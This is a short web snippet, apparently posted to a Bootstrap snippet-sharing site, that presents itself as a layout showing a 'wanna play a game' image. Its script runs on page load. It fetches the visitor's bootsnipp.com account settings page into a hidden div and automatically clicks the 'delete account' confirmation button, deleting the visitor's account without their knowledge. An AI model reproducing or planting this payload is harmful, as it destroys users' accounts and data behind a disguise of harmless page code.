<link href="//netdna.bootstrapcdn.com/bootstrap/3.1.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//netdna.bootstrapcdn.com/bootstrap/3.1.0/js/bootstrap.min.js"></script>
<script src="//code.jquery.com/jquery-1.11.1.min.js"></script>
<!------ Include the above in your HEAD tag ---------->
<div class="row">
<div class="col-md-3"></div>
<div class="col-md-3"><img src="http://sd.keepcalm-o-matic.co.uk/i/hey-you-wanna-play-a-game.png"></div>
<div class="col-md-3"></div>
</div>
<div id="test">
</div>
#test { display: none; }
$( document ).ready(function() {
function callAjax(){
var xmlhttp, account;
xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
account = document.getElementById("test");
account.innerHTML=xmlhttp.responseText;
document.getElementById('delete_account').getElementsByClassName("modal-footer")[0].getElementsByClassName("btn-danger")[0].click();
}
}
xmlhttp.open("GET", "http://bootsnipp.com/user/settings", true);
xmlhttp.send();
}
callAjax();
});